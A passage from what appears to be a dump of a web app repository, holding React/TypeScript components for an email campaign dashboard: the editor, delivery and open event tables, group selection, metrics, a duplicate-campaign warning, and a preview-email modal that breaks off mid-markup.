subject...\"\n                  className={cn(\n                    inputClassName,\n                    !isReadOnly && !showPreviewText && \"pr-24\",\n                  )}\n                  disabled={isReadOnly}\n                  {...register(\"subject\")}\n                />\n                {!isReadOnly && (\n                  <div className=\"absolute right-0 top-1/2 -translate-y-1/2\">\n                    <button\n                      type=\"button\"\n                      onClick={() => setShowPreviewText(true)}\n                      className={cn(\n                        \"text-content-subtle hover:text-content-default px-2 py-1 text-sm font-medium\",\n                        \"transition-[transform,opacity] duration-150 ease-out\",\n                        showPreviewText && \"translate-y-1 opacity-0\",\n                      )}\n                      inert={showPreviewText}\n                    >\n                      Preview text\n                    </button>\n                  </div>\n                )}\n              </div>\n            </DisabledInputWrapper>\n\n            <ConditionalColumn show={showPreviewText}>\n              <span className={cn(labelClassName, \"flex h-8 items-center\")}>\n                Preview\n              </span>\n            </ConditionalColumn>\n            <ConditionalColumn show={showPreviewText}>\n              <input\n                type=\"text\"\n                placeholder=\"Enter preview text...\"\n                className={inputClassName}\n                disabled={isReadOnly}\n                {...previewInputProps}\n                ref={(e) => {\n                  previewInputProps.ref(e);\n                  previewInputRef.current = e;\n                }}\n              />\n            </ConditionalColumn>\n\n            {campaign.type === \"transactional\" && (\n              <>\n                <span className={labelClassName}>Logic</span>\n                <DisabledInputWrapper\n                  tooltip={\n                    isReadOnly\n                      ? statusMessages[campaign.status]\n                      : \"Cannot change trigger logic while campaign is active. Pause the campaign to make changes.\"\n                  }\n                  disabled={isActive || isReadOnly}\n                >\n                  <TransactionalCampaignLogic />\n                </DisabledInputWrapper>\n              </>\n            )}\n          </div>\n\n          {!isReadOnly && <DuplicateLogicWarning />}\n\n          <div className=\"mt-4\">\n            <Controller\n              control={control}\n              name=\"bodyJson\"\n              render={({ field }) => (\n                <RichTextProvider\n                  ref={editorRef}\n                  editorClassName=\"-m-2 min-h-[200px] p-2\"\n                  style=\"relaxed\"\n                  initialValue={field.value}\n                  onChange={(editor) => field.onChange(editor.getJSON())}\n                  variables={[...EMAIL_TEMPLATE_VARIABLES]}\n                  editable={\n                    campaign.type === \"marketing\" ? !isReadOnly : !isActive\n                  }\n                  uploadImage={async (file) => {\n                    try {\n                      const result = await executeImageUpload({\n                        workspaceId: workspaceId!,\n                      });\n\n                      if (!result?.data) {\n                        throw new Error(\"Failed to get signed upload URL\");\n                      }\n\n                      const { signedUrl, destinationUrl } = result.data;\n\n                      const uploadResponse = await fetch(signedUrl, {\n                        method: \"PUT\",\n                        body: file,\n                        headers: {\n                          \"Content-Type\": file.type,\n                          \"Content-Length\": file.size.toString(),\n                        },\n                      });\n\n                      if (!uploadResponse.ok) {\n                        throw new Error(\"Failed to upload to signed URL\");\n                      }\n\n                      return destinationUrl;\n                    } catch (e) {\n                      console.error(\"Failed to upload image\", e);\n                      toast.error(\"Failed to upload image\");\n                    }\n\n                    return null;\n                  }}\n                >\n                  <div className=\"relative z-0 flex flex-col gap-1\">\n                    <div className=\"sticky -top-4 z-10 sm:-top-6\">\n                      <div className=\"bg-white pb-1 pt-2\">\n                        <RichTextToolbar />\n                      </div>\n                      <div className=\"h-2 bg-gradient-to-b from-white\" />\n                    </div>\n                    <RichTextArea />\n                  </div>\n                </RichTextProvider>\n              )}\n            />\n          </div>\n\n          <div className=\"border-border-subtle mt-4 w-full border-t pt-4 text-center text-xs font-medium text-neutral-300\">\n            End of email\n          </div>\n        </PageWidthWrapper>\n\n        <div className=\"min-h-16 grow\" />\n\n        <CampaignActionBar\n          campaignStatus={campaign.status}\n          onSave={() => saveCampaign({ isDraft: false })}\n          isSaving={isSavingCampaign}\n          onReset={() => {\n            editorRef.current?.setContent(campaign.bodyJson);\n          }}\n        />\n      </PageContentWithSidePanel>\n    </FormProvider>\n  );\n}\n\nconst ConditionalColumn = ({\n  show,\n  children,\n}: PropsWithChildren<{ show: boolean }>) => {\n  return (\n    <motion.div\n      initial={false}\n      animate={{ height: show ? \"auto\" : 0 }}\n      transition={{ duration: 0.15, ease: \"easeOut\" }}\n      className={cn(\n        \"transition-[margin,opacity] duration-150\",\n        !show && \"!mt-0 opacity-0\",\n      )}\n      inert={!show}\n    >\n      {children}\n    </motion.div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-events-columns.tsx",
    "content": "import { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { timeAgo } from \"@dub/utils\";\nimport { CampaignEvent } from \"./campaign-events\";\n\nexport const campaignEventsColumns = [\n  {\n    id: \"partner\",\n    header: \"\",\n    enableHiding: false,\n    cell: ({ row }: { row: { original: CampaignEvent } }) => (\n      <div className=\"flex gap-2\">\n        <div className=\"flex h-8 shrink-0 items-center justify-center\">\n          <PartnerAvatar\n            partner={row.original.partner}\n            className=\"size-7 object-cover\"\n          />\n        </div>\n        <div className=\"flex h-8 min-w-0 flex-1 flex-col\">\n          <div className=\"text-content-emphasis truncate text-xs font-semibold\">\n            {row.original.partner.name}\n          </div>\n          {row.original.group && (\n            <div className=\"flex items-center gap-1\">\n              <GroupColorCircle group={row.original.group} />\n              <span className=\"text-content-subtle truncate text-xs font-medium\">\n                {row.original.group?.name}\n              </span>\n            </div>\n          )}\n        </div>\n      </div>\n    ),\n  },\n  {\n    id: \"timestamp\",\n    header: \"\",\n    enableHiding: false,\n    minSize: 60,\n    cell: ({ row }: { row: { original: CampaignEvent } }) => {\n      const timestamp = getTimestamp(row.original);\n\n      return (\n        <TimestampTooltip\n          timestamp={timestamp}\n          side=\"top\"\n          rows={[\"local\", \"utc\", \"unix\"]}\n        >\n          <div\n            className=\"text-content-subtle flex h-8 shrink-0 items-center justify-end text-xs font-medium\"\n            onClick={(e) => e.preventDefault()}\n          >\n            {timeAgo(timestamp)}\n          </div>\n        </TimestampTooltip>\n      );\n    },\n  },\n];\n\nconst getTimestamp = (event: CampaignEvent) => {\n  if (event.deliveredAt) {\n    return event.deliveredAt;\n  }\n\n  if (event.openedAt) {\n    return event.openedAt;\n  }\n\n  if (event.bouncedAt) {\n    return event.bouncedAt;\n  }\n\n  return null;\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-events-modal.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { SearchBox } from \"@/ui/shared/search-box\";\nimport { Modal, PaginationControls, Table, useTable } from \"@dub/ui\";\nimport { buildUrl, fetcher } from \"@dub/utils\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\nimport { useDebouncedCallback } from \"use-debounce\";\nimport { CampaignEvent, EventStatus } from \"./campaign-events\";\nimport { campaignEventsColumns } from \"./campaign-events-columns\";\n\nexport function CampaignEventsModal({\n  showModal,\n  setShowModal,\n  status,\n}: {\n  showModal: boolean;\n  setShowModal: (show: boolean) => void;\n  status: EventStatus;\n}) {\n  const router = useRouter();\n  const { campaignId } = useParams<{ campaignId: string }>();\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  // Local pagination state (1-based for both API and table)\n  const [pagination, setPagination] = useState({\n    pageIndex: 1, // 1-based for table\n    pageSize: 100,\n  });\n\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch, setDebouncedSearch] = useState(\"\");\n\n  const debounced = useDebouncedCallback((value) => {\n    setDebouncedSearch(value);\n    // Reset pagination to page 1 when search changes\n    setPagination((prev) => ({ ...prev, pageIndex: 1 }));\n  }, 500);\n\n  const {\n    data: events,\n    error,\n    isLoading,\n  } = useSWR<CampaignEvent[]>(\n    showModal && campaignId && workspaceId\n      ? buildUrl(`/api/campaigns/${campaignId}/events`, {\n          workspaceId,\n          status,\n          page: pagination.pageIndex, // Now 1-based\n          pageSize: pagination.pageSize,\n          ...(debouncedSearch && { search: debouncedSearch }),\n        })\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const {\n    data: totalCount,\n    error: countError,\n    isLoading: isCountLoading,\n  } = useSWR<number>(\n    showModal && campaignId && workspaceId\n      ? buildUrl(`/api/campaigns/${campaignId}/events/count`, {\n          workspaceId,\n          status,\n          ...(debouncedSearch && { search: debouncedSearch }),\n        })\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: events || [],\n    columns: campaignEventsColumns,\n    onRowClick: (row, e) => {\n      const url = `/${workspaceSlug}/program/partners/${row.original.partner.id}`;\n\n      if (e.metaKey || e.ctrlKey) {\n        window.open(url, \"_blank\");\n      } else {\n        router.push(url);\n        setShowModal(false);\n      }\n    },\n    onRowAuxClick: (row) => {\n      const url = `/${workspaceSlug}/program/partners/${row.original.partner.id}`;\n      window.open(url, \"_blank\");\n    },\n    rowProps: () => ({\n      className:\n        \"cursor-pointer transition-colors hover:bg-neutral-50 border-b border-neutral-200 last:border-b-0\",\n    }),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `event${plural ? \"s\" : \"\"}`,\n    emptyState: \"No events found\",\n    loading: isLoading || isCountLoading,\n    error: error || countError ? \"Failed to load events\" : undefined,\n  });\n\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"flex h-[700px] max-w-md flex-col px-0\"\n    >\n      <div className=\"flex flex-shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n        <h1 className=\"text-lg font-semibold\">\n          {status.charAt(0).toUpperCase() + status.slice(1)}\n        </h1>\n      </div>\n\n      <div className=\"flex-shrink-0 border-b border-neutral-200 px-4 py-3\">\n        <SearchBox\n          value={search}\n          onChange={(value) => {\n            setSearch(value);\n            debounced(value);\n          }}\n          placeholder=\"Search by partner name or email...\"\n          loading={isLoading && debouncedSearch.length > 0}\n        />\n      </div>\n\n      <div className=\"flex flex-1 flex-col overflow-hidden\">\n        <div className=\"flex-1 overflow-y-auto\">\n          <Table\n            {...tableProps}\n            table={table}\n            className=\"[&_thead]:hidden\"\n            containerClassName=\"border-0 rounded-lg\"\n          />\n        </div>\n\n        {/* Fixed pagination footer */}\n        <div className=\"flex-shrink-0 border-t border-neutral-200 px-4 py-3\">\n          <PaginationControls\n            pagination={pagination}\n            setPagination={setPagination}\n            totalCount={totalCount || 0}\n            unit={(plural) => `event${plural ? \"s\" : \"\"}`}\n          />\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-events.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { campaignEventSchema } from \"@/lib/zod/schemas/campaigns\";\nimport { Table, ToggleGroup, useTable } from \"@dub/ui\";\nimport { buildUrl, fetcher } from \"@dub/utils\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { campaignEventsColumns } from \"./campaign-events-columns\";\nimport { CampaignEventsModal } from \"./campaign-events-modal\";\n\nexport type EventStatus = \"delivered\" | \"opened\" | \"bounced\";\n\nexport type CampaignEvent = z.infer<typeof campaignEventSchema>;\n\nconst MAX_EVENTS = 10;\n\nexport function CampaignEvents() {\n  const router = useRouter();\n  const [showModal, setShowModal] = useState(false);\n  const { campaignId } = useParams<{ campaignId: string }>();\n  const [status, setStatus] = useState<EventStatus>(\"delivered\");\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  const {\n    data: events,\n    error,\n    isLoading,\n  } = useSWR<CampaignEvent[]>(\n    campaignId && workspaceId\n      ? buildUrl(`/api/campaigns/${campaignId}/events`, {\n          workspaceId,\n          status,\n          pageSize: MAX_EVENTS,\n        })\n      : null,\n    fetcher,\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: events || [],\n    columns: campaignEventsColumns,\n    onRowClick: (row, e) => {\n      const url = `/${workspaceSlug}/program/partners/${row.original.partner.id}`;\n\n      if (e.metaKey || e.ctrlKey) {\n        window.open(url, \"_blank\");\n      } else {\n        router.push(url);\n      }\n    },\n    onRowAuxClick: (row) => {\n      const url = `/${workspaceSlug}/program/partners/${row.original.partner.id}`;\n      window.open(url, \"_blank\");\n    },\n    rowProps: () => ({\n      className:\n        \"cursor-pointer transition-colors hover:bg-neutral-50 border-b border-neutral-200 last:border-b-0\",\n    }),\n    thClassName: \"hidden\",\n    tdClassName: \"border-l-0\",\n    resourceName: () => \"event\",\n    emptyState: \"No data yet\",\n    loading: isLoading,\n    error: error ? \"Failed to load events\" : undefined,\n  });\n\n  return (\n    <>\n      <CampaignEventsModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        status={status}\n      />\n\n      <div className=\"flex w-full items-center\">\n        <ToggleGroup\n          className=\"flex w-full items-center gap-1 rounded-lg border border-neutral-200 bg-neutral-50 p-0.5\"\n          optionClassName=\"h-8 flex items-center justify-center rounded-lg flex-1 text-sm font-medium\"\n          indicatorClassName=\"bg-white shadow-sm\"\n          options={[\n            { value: \"delivered\", label: \"Delivered\" },\n            { value: \"opened\", label: \"Opened\" },\n            { value: \"bounced\", label: \"Bounced\" },\n          ]}\n          selected={status}\n          selectAction={(value: EventStatus) => setStatus(value)}\n        />\n      </div>\n\n      <div className=\"group relative z-0 max-h-[530px] min-h-32 grow overflow-hidden rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"overflow-hidden\">\n          <Table\n            {...tableProps}\n            table={table}\n            className=\"[&_thead]:hidden\"\n            containerClassName=\"border-0 rounded-lg\"\n          />\n        </div>\n\n        {events && events.length >= MAX_EVENTS && (\n          <div className=\"absolute bottom-0 left-0 z-10 flex w-full items-end\">\n            <div className=\"pointer-events-none absolute bottom-0 left-0 h-48 w-full bg-gradient-to-t from-white\" />\n            <button\n              onClick={() => setShowModal(true)}\n              className=\"group/button relative flex w-full items-center justify-center py-4\"\n            >\n              <div className=\"rounded-md border border-neutral-200 bg-white px-2.5 py-1 text-sm text-neutral-950 group-hover/button:bg-neutral-100 group-active/button:border-neutral-300\">\n                View all\n              </div>\n            </button>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-form-context.tsx",
    "content": "import { UpdateCampaignFormData } from \"@/lib/types\";\nimport { useFormContext } from \"react-hook-form\";\n\nexport const useCampaignFormContext = () =>\n  useFormContext<UpdateCampaignFormData>();\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-groups-selector.tsx",
    "content": "\"use client\";\n\nimport useGroups from \"@/lib/swr/use-groups\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { GroupsMultiSelect } from \"@/ui/partners/groups/groups-multi-select\";\nimport { Popover, Users6 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\n\nconst MAX_DISPLAYED_GROUPS = 1;\n\ninterface CampaignGroupsSelectorProps {\n  selectedGroupIds: string[] | null;\n  setSelectedGroupIds: (groupIds: string[] | null) => void;\n}\n\nexport function CampaignGroupsSelector({\n  selectedGroupIds,\n  setSelectedGroupIds,\n}: CampaignGroupsSelectorProps) {\n  const { groups, loading } = useGroups();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const selectedGroups = useMemo(() => {\n    if (!selectedGroupIds?.length || !groups) {\n      return null;\n    }\n\n    return groups.filter((group) => selectedGroupIds.includes(group.id));\n  }, [groups, selectedGroupIds]);\n\n  const displayAllGroups = !selectedGroupIds || selectedGroupIds.length === 0;\n\n  const plusCount = selectedGroups\n    ? Math.max(0, selectedGroups.length - MAX_DISPLAYED_GROUPS)\n    : 0;\n\n  return (\n    <Popover\n      content={\n        <div className=\"w-full p-3 sm:w-[440px]\">\n          <GroupsMultiSelect\n            selectedGroupIds={selectedGroupIds}\n            setSelectedGroupIds={setSelectedGroupIds}\n          />\n        </div>\n      }\n      align=\"start\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <div\n        className={cn(\n          \"group relative flex h-8 w-full cursor-pointer items-center gap-2 rounded-lg p-1.5 text-sm transition-colors duration-150 hover:bg-neutral-100\",\n          openPopover && \"bg-neutral-100\",\n        )}\n        onClick={() => setOpenPopover(true)}\n      >\n        {loading && selectedGroupIds?.length ? (\n          <div className=\"h-5 w-1/3 animate-pulse rounded bg-neutral-200\" />\n        ) : displayAllGroups ? (\n          <div\n            className={cn(\n              \"flex h-5 items-center gap-1 rounded-md px-1.5 transition-colors\",\n              openPopover\n                ? \"bg-neutral-200\"\n                : \"bg-neutral-100 group-hover:bg-neutral-200\",\n            )}\n          >\n            <Users6 className=\"size-3.5 shrink-0\" />\n            <span className=\"text-content-default text-sm font-medium\">\n              All groups\n            </span>\n          </div>\n        ) : selectedGroups && selectedGroups.length > 0 ? (\n          <div className=\"flex min-w-0 flex-1 items-center gap-2\">\n            {selectedGroups.slice(0, MAX_DISPLAYED_GROUPS).map((group) => (\n              <div\n                key={group.id}\n                className={cn(\n                  \"flex h-5 min-w-0 items-center gap-1 rounded-md px-1.5 transition-colors\",\n                  openPopover\n                    ? \"bg-neutral-200\"\n                    : \"bg-neutral-100 group-hover:bg-neutral-200\",\n                )}\n              >\n                <GroupColorCircle group={group} />\n                <span className=\"text-content-default min-w-0 truncate text-sm font-medium\">\n                  {group.name}\n                </span>\n              </div>\n            ))}\n\n            {plusCount > 0 && (\n              <span\n                className={cn(\n                  \"flex items-center rounded-md px-2 py-0.5 text-xs font-medium text-neutral-600 transition-colors\",\n                  openPopover\n                    ? \"bg-neutral-200\"\n                    : \"bg-neutral-100 group-hover:bg-neutral-200\",\n                )}\n              >\n                +{plusCount}\n              </span>\n            )}\n          </div>\n        ) : null}\n\n        <button\n          type=\"button\"\n          className={cn(\n            \"ml-auto h-5 shrink-0 rounded-md bg-neutral-200 px-2 text-xs font-semibold text-neutral-700 transition-opacity\",\n            openPopover ? \"opacity-100\" : \"opacity-0 group-hover:opacity-100\",\n          )}\n          onClick={(e) => {\n            e.stopPropagation();\n            setOpenPopover(true);\n          }}\n        >\n          Edit\n        </button>\n      </div>\n    </Popover>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-metrics.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CampaignSummary } from \"@/lib/types\";\nimport { campaignSummarySchema } from \"@/lib/zod/schemas/campaigns\";\nimport { EnvelopeBan, EnvelopeCheck, EnvelopeOpen } from \"@dub/ui\";\nimport { fetcher, nFormatter } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\nexport function CampaignMetrics() {\n  const { id: workspaceId } = useWorkspace();\n  const { campaignId } = useParams<{ campaignId: string }>();\n\n  const {\n    data: summary,\n    error,\n    isLoading,\n  } = useSWR<z.infer<typeof campaignSummarySchema>>(\n    campaignId && workspaceId\n      ? `/api/campaigns/${campaignId}/summary?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n  );\n\n  const metrics = useMemo(() => {\n    if (!summary) return [];\n\n    const { deliveredPercentage, bouncedPercentage, openedPercentage } =\n      calculateCampaignPercentages(summary);\n\n    return [\n      {\n        icon: EnvelopeCheck,\n        label: \"Delivered\",\n        percentage: `${deliveredPercentage}%`,\n        count: nFormatter(summary.delivered),\n      },\n      {\n        icon: EnvelopeBan,\n        label: \"Bounced\",\n        percentage: `${bouncedPercentage}%`,\n        count: nFormatter(summary.bounced),\n      },\n      {\n        icon: EnvelopeOpen,\n        label: \"Opened\",\n        percentage: `${openedPercentage}%`,\n        count: nFormatter(summary.opened),\n      },\n    ];\n  }, [summary]);\n\n  return (\n    <div>\n      {error ? (\n        <div className=\"flex h-full items-center justify-center\">\n          <p className=\"text-content-subtle text-sm\">Failed to load metrics</p>\n        </div>\n      ) : (\n        <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200\">\n          {isLoading ? (\n            <CampaignMetricsLoadingSkeleton />\n          ) : (\n            metrics.map((metric) => (\n              <div key={metric.label} className=\"flex flex-col gap-2 p-3\">\n                <div className=\"flex items-center gap-1.5\">\n                  <metric.icon className=\"text-content-subtle size-3.5\" />\n                  <div className=\"text-xs font-medium text-neutral-500\">\n                    {metric.label}\n                  </div>\n                </div>\n\n                <div className=\"flex justify-between\">\n                  <span className=\"text-sm font-medium text-neutral-900\">\n                    {metric.percentage}\n                  </span>\n                  <span className=\"text-content-subtle text-sm font-medium\">\n                    {metric.count}\n                  </span>\n                </div>\n              </div>\n            ))\n          )}\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction CampaignMetricsLoadingSkeleton() {\n  return (\n    <>\n      {Array.from({ length: 3 }).map((_, index) => (\n        <div key={index} className=\"flex flex-col gap-2 p-3\">\n          <div className=\"flex h-4 items-center gap-1.5\">\n            <div className=\"size-3.5 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"text-xs font-medium\">\n              <div className=\"h-[1em] w-16 animate-pulse rounded bg-neutral-200\" />\n            </div>\n          </div>\n          <div className=\"flex h-5 justify-between\">\n            <span className=\"text-sm font-medium\">\n              <div className=\"h-[1em] w-12 animate-pulse rounded bg-neutral-200\" />\n            </span>\n            <span className=\"text-sm font-medium\">\n              <div className=\"h-[1em] w-8 animate-pulse rounded bg-neutral-200\" />\n            </span>\n          </div>\n        </div>\n      ))}\n    </>\n  );\n}\n\nexport const calculateCampaignPercentages = (summary: CampaignSummary) => {\n  const { sent, delivered, opened, bounced } = summary;\n\n  if (sent === 0) {\n    return {\n      ...summary,\n      deliveredPercentage: 0,\n      openedPercentage: 0,\n      bouncedPercentage: 0,\n    };\n  }\n\n  const sentInverse = 100 / sent;\n  const deliveredInverse = delivered > 0 ? 100 / delivered : 0;\n\n  return {\n    ...summary,\n    deliveredPercentage: Number((delivered * sentInverse).toFixed(2)),\n    openedPercentage: Number((opened * deliveredInverse).toFixed(2)),\n    bouncedPercentage: Number((bounced * sentInverse).toFixed(2)),\n  };\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/duplicate-logic-warning.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CampaignList } from \"@/lib/types\";\nimport { workflowConditionSchema } from \"@/lib/zod/schemas/workflows\";\nimport { ChevronUp, Copy, LoadingSpinner } from \"@dub/ui\";\nimport { cn, fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useEffect, useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport useSWR from \"swr\";\nimport { CampaignTypeIcon } from \"../campaign-type-icon\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\n\nexport function DuplicateLogicWarning() {\n  const { campaignId } = useParams<{ campaignId: string }>();\n\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n\n  const { control } = useCampaignFormContext();\n\n  const triggerCondition = useWatch({ control, name: \"triggerCondition\" });\n\n  const parsedTriggerCondition = triggerCondition\n    ? workflowConditionSchema.safeParse(triggerCondition)\n    : undefined;\n\n  const { data: campaigns, isLoading } = useSWR<CampaignList[]>(\n    workspaceId &&\n      parsedTriggerCondition?.success &&\n      `/api/campaigns?${new URLSearchParams({\n        workspaceId,\n        type: \"transactional\",\n        triggerCondition: JSON.stringify(parsedTriggerCondition.data),\n      })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const duplicates =\n    campaigns?.filter(\n      (campaign) =>\n        campaign.id !== campaignId &&\n        ![\"draft\", \"canceled\"].includes(campaign.status),\n    ) ?? [];\n  const hasDuplicates = duplicates.length > 0;\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  useEffect(() => {\n    if (!hasDuplicates && isOpen) setIsOpen(false);\n  }, [hasDuplicates, isOpen]);\n\n  return (\n    <div\n      inert={!hasDuplicates}\n      className={cn(\n        \"grid grid-rows-[0fr] opacity-0 transition-[grid-template-rows,opacity] duration-150 ease-out\",\n        hasDuplicates &&\n          cn(\n            \"grid-rows-[1fr] opacity-100\",\n            (isLoading || !parsedTriggerCondition?.success) &&\n              \"pointer-events-none opacity-50\",\n          ),\n      )}\n    >\n      <div className=\"overflow-hidden\">\n        <div className=\"pt-2\">\n          <div className=\"bg-bg-muted border-border-muted rounded-lg border bg-clip-border\">\n            <button\n              type=\"button\"\n              onClick={() => setIsOpen((o) => !o)}\n              className=\"flex w-full items-center gap-2 px-3 py-2\"\n            >\n              {isLoading ? (\n                <LoadingSpinner className=\"size-3 shrink-0\" />\n              ) : (\n                <Copy className=\"text-content-emphasis size-3 shrink-0\" />\n              )}\n              <span className=\"text-content-emphasis min-w-0 truncate text-xs font-semibold\">\n                Duplicate campaigns detected\n              </span>\n              <ChevronUp\n                className={cn(\n                  \"text-content-subtle size-2 shrink-0 rotate-180 transition-transform\",\n                  isOpen && \"rotate-0\",\n                )}\n              />\n            </button>\n            <div\n              className={cn(\n                \"grid grid-rows-[0fr] opacity-0 transition-[grid-template-rows,opacity] duration-150 ease-out\",\n                isOpen && \"grid-rows-[1fr] opacity-100\",\n              )}\n            >\n              <div className=\"overflow-hidden\">\n                <div className=\"p-1\">\n                  {duplicates.map((duplicate) => (\n                    <Link\n                      key={duplicate.id}\n                      href={`/${workspaceSlug}/program/campaigns/${duplicate.id}`}\n                      target=\"_blank\"\n                      className=\"flex items-center gap-2 rounded-md px-2.5 py-2 hover:bg-black/[0.03] active:bg-black/5\"\n                    >\n                      <CampaignTypeIcon\n                        type={duplicate.type}\n                        className=\"size-5\"\n                        iconClassName=\"size-3\"\n                      />\n                      <span className=\"text-content-emphasis text-xs font-medium\">\n                        {duplicate.name}\n                      </span>\n                    </Link>\n                  ))}\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { notFound } from \"next/navigation\";\nimport useCampaign from \"../use-campaign\";\nimport { CampaignEditor } from \"./campaign-editor\";\nimport { CampaignEditorSkeleton } from \"./campaign-editor-skeleton\";\n\nexport function ProgramCampaignPageClient() {\n  const { campaign, error } = useCampaign();\n\n  if (error) {\n    return notFound();\n  }\n\n  if (!campaign) {\n    return <CampaignEditorSkeleton />;\n  }\n\n  return <CampaignEditor campaign={campaign} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/page.tsx",
    "content": "import { ProgramCampaignPageClient } from \"./page-client\";\n\nexport default function ProgramCampaignPage() {\n  return <ProgramCampaignPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/send-email-preview-modal.tsx",
    "content": "\"use client\";\n\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useUser from \"@/lib/swr/use-user\";\nimport { Button, Modal, useEnterSubmit, useMediaQuery } from \"@dub/ui\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\n\ninterface SendEmailPreviewModalProps {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  campaignId: string;\n}\n\nfunction SendEmailPreviewModal({\n  showModal,\n  setShowModal,\n  campaignId,\n}: SendEmailPreviewModalProps) {\n  const { user } = useUser();\n  const { isMobile } = useMediaQuery();\n  const { handleKeyDown } = useEnterSubmit();\n  const { control } = useCampaignFormContext();\n  const { isSubmitting, makeRequest } = useApiMutation();\n  const [emailAddresses, setEmailAddresses] = useState(user?.email ?? \"\");\n\n  const [subject, preview, bodyJson, from] = useWatch({\n    control,\n    name: [\"subject\", \"preview\", \"bodyJson\", \"from\"],\n  });\n\n  const onSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!emailAddresses.trim()) {\n      toast.error(\"Please enter at least one email address.\");\n      return;\n    }\n\n    if (!subject || !bodyJson) {\n      toast.error(\n        \"Please ensure both subject and body are filled in the campaign form.\",\n      );\n      return;\n    }\n\n    const emails = emailAddresses\n      .split(\",\")\n      .map((email) => email.trim())\n      .filter((email) => email.length > 0);\n\n    if (emails.length === 0) {\n      toast.error(\"Please enter valid email addresses.\");\n      return;\n    }\n\n    await makeRequest(`/api/campaigns/${campaignId}/preview`, {\n      method: \"POST\",\n      body: {\n        subject,\n        preview,\n        bodyJson,\n        from,\n        emailAddresses: emails,\n      },\n      onSuccess: () => {\n        toast.success(\"Preview email sent!\");\n        setShowModal(false);\n        setEmailAddresses(\"\");\n      },\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"truncate text-lg font-medium\">Send preview email</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-4 px-4 py-6 text-left sm:px-6\">\n            <div>\n              <label\n                htmlFor=\"emailAddresses\"\n                className=\"text-content-emphasis mb-2 block text-sm 